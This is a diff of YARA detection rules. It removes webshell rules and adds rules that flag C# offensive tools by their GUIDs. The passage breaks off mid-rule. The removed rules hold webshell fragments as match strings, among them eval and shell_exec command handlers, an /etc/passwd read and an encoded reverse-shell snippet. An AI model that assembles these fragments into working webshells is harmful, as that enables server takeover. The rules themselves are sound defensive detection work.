+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3230-L3244"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bc82dfd6e07f6ff8a9cb7b6331f3f600db30ee053592422d1eddaff3c46cfdf"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
-		hash1 = "6eb4ab630bd25bec577b39fb8a657350bf425687"
-		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$s1 = "<input type='submit' value='  open (shill.txt) '>" fullword
-		$s4 = "var_dump(curl_exec($ch));" fullword
-		$s7 = "if(empty($_POST['Mohajer22'])){" fullword
-		$s10 = "$m=$_POST['curl'];" fullword
-		$s13 = "$u1p=$_POST['copy'];" fullword
-		$s14 = "if(empty(\\$_POST['cmd'])){" fullword
-		$s15 = "$string = explode(\"|\",$string);" fullword
-		$s16 = "$stream = imap_open(\"/etc/passwd\", \"\", \"\");" fullword
+		$typelibguid0lo = "cca59e4e-ce4d-40fc-965f-34560330c7e6" ascii wide
+		$typelibguid0up = "CCA59E4E-CE4D-40FC-965F-34560330C7E6" ascii wide
 
 	condition:
-		5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_3
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Naga : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ff7c6534-efcf-565e-bfc0-1eaa2e9d7b7d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6957-L6976"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c264a294fc75cf2cadd3dba61bc64658989ffe5ddecfa18ba18e66492ad3c71"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3a9d3154-a8f1-57a4-8b61-498e2ebdfa42"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/byt3bl33d3r/Naga"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3246-L3262"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff115b2817926a072088d5077d2969028b64ce2306920fa3278cfe842246e747"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "d829e87b3ce34460088c7775a60bded64e530cd4"
-		hash1 = "d710c95d9f18ec7c76d9349a28dd59c3605c02be"
-		hash2 = "f044d44e559af22a1a7f9db72de1206f392b8976"
-		hash3 = "41780a3e8c0dc3cbcaa7b4d3c066ae09fb74a289"
 
 	strings:
-		$s0 = "header('Content-Length:'.filesize($file).'');" fullword
-		$s4 = "<textarea name=\\\"command\\\" rows=\\\"5\\\" cols=\\\"150\\\">\".@$_POST['comma"
-		$s7 = "if(filetype($dir . $file)==\"file\")$files[]=$file;" fullword
-		$s14 = "elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} " fullword
-		$s20 = "$info .= (($perms & 0x0004) ? 'r' : '-');" fullword
+		$typelibguid0lo = "99428732-4979-47b6-a323-0bb7d6d07c95" ascii wide
+		$typelibguid0up = "99428732-4979-47B6-A323-0BB7D6D07C95" ascii wide
+		$typelibguid1lo = "a2c9488f-6067-4b17-8c6f-2d464e65c535" ascii wide
+		$typelibguid1up = "A2C9488F-6067-4B17-8C6F-2D464E65C535" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_4
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbox : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, nshell.php, Loaderz WEB Shell.php, stres.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2932cb85-927e-536b-b8d8-a0ac0d1ef8ec"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6977-L6999"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "18db4c6728f0575b4d8388dab9563ee98ca9aa5fdc8534bf76856a87820b4596"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "fda1a67f-d746-5ddb-a33f-97d608b13bc9"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/P1CKLES/SharpBox"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3264-L3278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dba572c1c52bc887600e5e674403b3a43578ca43c8ea4d6b34530796ef1de0d0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
-		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
-		hash2 = "86bc40772de71b1e7234d23cab355e1ff80c474d"
-		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
-		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
-		$s2 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';" fullword
-		$s5 = "$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';" fullword
-		$s6 = "$world[\"write\"] = ($mode & 00002) ? 'w' : '-';" fullword
-		$s7 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';" fullword
-		$s10 = "foreach ($arr as $filename) {" fullword
-		$s19 = "else if( $mode & 0x6000 ) { $type='b'; }" fullword
+		$typelibguid0lo = "616c1afb-2944-42ed-9951-bf435cadb600" ascii wide
+		$typelibguid0up = "616C1AFB-2944-42ED-9951-BF435CADB600" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_GFS
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Rundotnetdll32 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files GFS web-shell ver 3.1.7 - PRiV8.php, Predator.php, GFS_web-shell_ver_3.1.7_-_PRiV8.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bde6cfd8-466f-528a-b1e3-f874aa778010"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7001-L7017"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72a3f117cb11e1461b760c47a3de74283640b6e1daa87b24e45210213bb76609"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "266c8add-d2ca-5e46-8594-5d190447d133"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xbadjuju/rundotnetdll32"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3280-L3294"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d20de93f5e9f0fce189130862153e533a79038d4fdaadb3d4216b6bd294ae05"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "c2f1ef6b11aaec255d4dd31efad18a3869a2a42c"
-		hash1 = "34f6640985b07009dbd06cd70983451aa4fe9822"
-		hash2 = "d25ef72bdae3b3cb0fc0fdd81cfa58b215812a50"
 
 	strings:
-		$s0 = "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";" fullword
-		$s1 = "lIENPTk47DQpleGl0IDA7DQp9DQp9\";" fullword
-		$s2 = "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShm"
+		$typelibguid0lo = "a766db28-94b6-4ed1-aef9-5200bbdd8ca7" ascii wide
+		$typelibguid0up = "A766DB28-94B6-4ED1-AEF9-5200BBDD8CA7" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__Crystalshell_V_1_Sosyete_Stres
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Antidebug : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, sosyete.php, stres.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "774f7f4c-724a-5eb0-b5de-44b389fd593d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7018-L7038"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "78aeabe38f7457060d81c3863098b5e424bc38f13e9e86bbb6ea54827f27afcd"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f381081b-d0cb-593d-ad3d-28816f770b67"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/malcomvetter/AntiDebug"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3296-L3310"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32ae8a5221f3b1c913163590291461fe7868f25be02c3b0b045a4934d97d244a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
-		hash1 = "e32405e776e87e45735c187c577d3a4f98a64059"
-		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$s1 = "A:visited { COLOR:blue; TEXT-DECORATION: none}" fullword
-		$s4 = "A:active {COLOR:blue; TEXT-DECORATION: none}" fullword
-		$s11 = "scrollbar-darkshadow-color: #101842;" fullword
-		$s15 = "<a bookmark=\"minipanel\">" fullword
-		$s16 = "background-color: #EBEAEA;" fullword
-		$s18 = "color: #D5ECF9;" fullword
-		$s19 = "<center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 border"
+		$typelibguid0lo = "997265c1-1342-4d44-aded-67964a32f859" ascii wide
+		$typelibguid0up = "997265C1-1342-4D44-ADED-67964A32F859" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_10
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvisibleregistry : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php, PHPRemoteView.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f52013d6-72ce-544c-a7ef-ae2a2ea87108"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7039-L7059"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bf731edef55cde5d2ad16510fb9f1a240c1a06b535af7e13300fdbea470df74"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "98409bbe-6346-5825-b7f7-c1afeac2b038"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/NVISO-BE/DInvisibleRegistry"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3312-L3326"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a14dca802a63983d1c3974a4c195fd7bd5f256ace03d4bcea2d88eef6958931b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
-		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
-		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
-		hash3 = "7d5b54c7cab6b82fb7d131d7bbb989fd53cb1b57"
 
 	strings:
-		$s2 = "$world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T'; " fullword
-		$s6 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-'; " fullword
-		$s11 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-'; " fullword
-		$s12 = "else if( $mode & 0xA000 ) " fullword
-		$s17 = "$s=sprintf(\"%1s\", $type); " fullword
-		$s20 = "font-size: 8pt;" fullword
+		$typelibguid0lo = "31d576fb-9fb9-455e-ab02-c78981634c65" ascii wide
+		$typelibguid0up = "31D576FB-9FB9-455E-AB02-C78981634C65" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_11
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Tikitorch : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files rootshell.php, Rootshell.v.1.0.php, s72 Shell v1.1 Coding.php, s72_Shell_v1.1_Coding.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "590c5320-ef85-5522-94fd-4619749f7eb1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7060-L7082"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5a559a26314ce603d6454efb71f1243bf89daed920ca2a495a51b94a4cca0045"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "354ee690-a0d0-5cc5-a73b-53b916ed0169"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/TikiTorch"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3328-L3354"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "072129fea5e40b2fcbf13156ccf8c5a05e343b98f02dc7140261f6534a5b9e4e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "31a82cbee8dffaf8eb7b73841f3f3e8e9b3e78cf"
-		hash1 = "838c7191cb10d5bb0fc7460b4ad0c18c326764c6"
-		hash2 = "8dfcd919d8ddc89335307a7b2d5d467b1fd67351"
-		hash3 = "80aba3348434c66ac471daab949871ab16c50042"
 
 	strings:
-		$s5 = "$filename = $backupstring.\"$filename\";" fullword
-		$s6 = "while ($file = readdir($folder)) {" fullword
-		$s7 = "if($file != \".\" && $file != \"..\")" fullword
-		$s9 = "$backupstring = \"copy_of_\";" fullword
-		$s10 = "if( file_exists($file_name))" fullword
-		$s13 = "global $file_name, $filename;" fullword
-		$s16 = "copy($file,\"$filename\");" fullword
-		$s18 = "<td width=\"49%\" height=\"142\">" fullword
+		$typelibguid0lo = "806c6c72-4adc-43d9-b028-6872fa48d334" ascii wide
+		$typelibguid0up = "806C6C72-4ADC-43D9-B028-6872FA48D334" ascii wide
+		$typelibguid1lo = "2ef9d8f7-6b77-4b75-822b-6a53a922c30f" ascii wide
+		$typelibguid1up = "2EF9D8F7-6B77-4B75-822B-6A53A922C30F" ascii wide
+		$typelibguid2lo = "8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6" ascii wide
+		$typelibguid2up = "8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6" ascii wide
+		$typelibguid3lo = "1f707405-9708-4a34-a809-2c62b84d4f0a" ascii wide
+		$typelibguid3up = "1F707405-9708-4A34-A809-2C62B84D4F0A" ascii wide
+		$typelibguid4lo = "97421325-b6d8-49e5-adf0-e2126abc17ee" ascii wide
+		$typelibguid4up = "97421325-B6D8-49E5-ADF0-E2126ABC17EE" ascii wide
+		$typelibguid5lo = "06c247da-e2e1-47f3-bc3c-da0838a6df1f" ascii wide
+		$typelibguid5up = "06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F" ascii wide
+		$typelibguid6lo = "fc700ac6-5182-421f-8853-0ad18cdbeb39" ascii wide
+		$typelibguid6up = "FC700AC6-5182-421F-8853-0AD18CDBEB39" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__Findsock_Php_Findsock_Shell_Php_Reverse_Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Hivejack : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files findsock.c, php-findsock-shell.php, php-reverse-shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6567c8f1-bd7f-5844-b937-3db2d8eb7408"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7083-L7097"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2459f7114482e17f087bda4b638c29e237f2f3cb5a9e41e326ed65fc1834b6be"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "10567ef4-780f-5e93-9061-3214116d6bbb"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/Viralmaniar/HiveJack"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3356-L3370"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "22ca377cc1f1d634564084e92e976e21df0cf8bf864cb772a49f740a6a429a4e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "5622c9841d76617bfc3cd4cab1932d8349b7044f"
-		hash1 = "4a20f36035bbae8e342aab0418134e750b881d05"
-		hash2 = "40dbdc0bdf5218af50741ba011c5286a723fa9bf"
 
 	strings:
-		$s1 = "// me at pentestmonkey@pentestmonkey.net" fullword
+		$typelibguid0lo = "e12e62fe-bea3-4989-bf04-6f76028623e3" ascii wide
+		$typelibguid0up = "E12E62FE-BEA3-4989-BF04-6F76028623E3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_6
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Decryptautologon : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e61ec617-565a-5b24-82f4-3677ef379a06"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7098-L7119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b3f2ca3cb9516ddda1b9cac2ca5eb5d9e62e1839dad041f69a3dc7a2a186897"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3ef58da9-16c1-54cf-9d06-a05680548cf5"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/securesean/DecryptAutoLogon"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3372-L3386"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d8d05f568528616da30f0f35c3baf7ba762e33319a7d7975ddb23e42944884f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "1a08f5260c4a2614636dfc108091927799776b13"
-		hash1 = "335a0851304acedc3f117782b61479bbc0fd655a"
-		hash2 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
-		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
-		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$s2 = "@eval(stripslashes($_POST['phpcode']));" fullword
-		$s5 = "echo shell_exec($com);" fullword
-		$s7 = "if($sertype == \"winda\"){" fullword
-		$s8 = "function execute($com)" fullword
-		$s12 = "echo decode(execute($cmd));" fullword
-		$s15 = "echo system($com);" fullword
+		$typelibguid0lo = "015a37fc-53d0-499b-bffe-ab88c5086040" ascii wide
+		$typelibguid0up = "015A37FC-53D0-499B-BFFE-AB88C5086040" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Unpack_Injectt
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Unstoppableservice : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Injectt.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "80dc3086-41a6-5e30-bbf4-463500fe5e33"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7121-L7134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8a5d2158a566c87edc999771e12d42c5"
-		logic_hash = "d8e9ed4f2604617bd6410f36ab827affa3cc6729ba996d0d9cd9c8eb0fd96533"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8c65fbee-d779-57a8-851b-7583be66c67a"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/malcomvetter/UnstoppableService"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3388-L3402"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1b2039d27bfaa624b47886e7a310e6b2ec0f6063e973e449270dfca54a7bdd7b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "%s -Run                              -->To Install And Run The Service"
-		$s3 = "%s -Uninstall                        -->To Uninstall The Service"
-		$s4 = "(STANDARD_RIGHTS_REQUIRED |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MAN"
+		$typelibguid0lo = "0c117ee5-2a21-dead-beef-8cc7f0caaa86" ascii wide
+		$typelibguid0up = "0C117EE5-2A21-DEAD-BEEF-8CC7F0CAAA86" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Devpack_Fso
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwmi_2 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file fso.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "094eeff9-0da0-5a44-a45c-f8ee57861e7a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7135-L7147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b37f3cde1a08890bd822a182c3a881f6"
-		logic_hash = "9d071c1e2e0725091a2abe24759e6e71d78e29caa76b4fff77c44e3bb381b1a2"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e6ab2f5e-2a5a-5be9-9b66-96cb745fd199"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		old_rule_name = "HKTL_NET_GUID_SharpWMI"
+		reference = "https://github.com/GhostPack/SharpWMI"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3404-L3419"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2541e7eeb07ee9d018067c35765c9ad68c9c8ecf0baa723e410dde8c55dabbd0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<!-- PageFSO Below -->"
-		$s1 = "theFile.writeLine(\"<script language=\"\"vbscript\"\" runat=server>if request(\"\"\"&cli"
+		$typelibguid0lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
+		$typelibguid0up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Ssh
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ewstoolkit : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ssh.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0b971065-df16-5092-beff-c55608447f19"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7148-L7159"
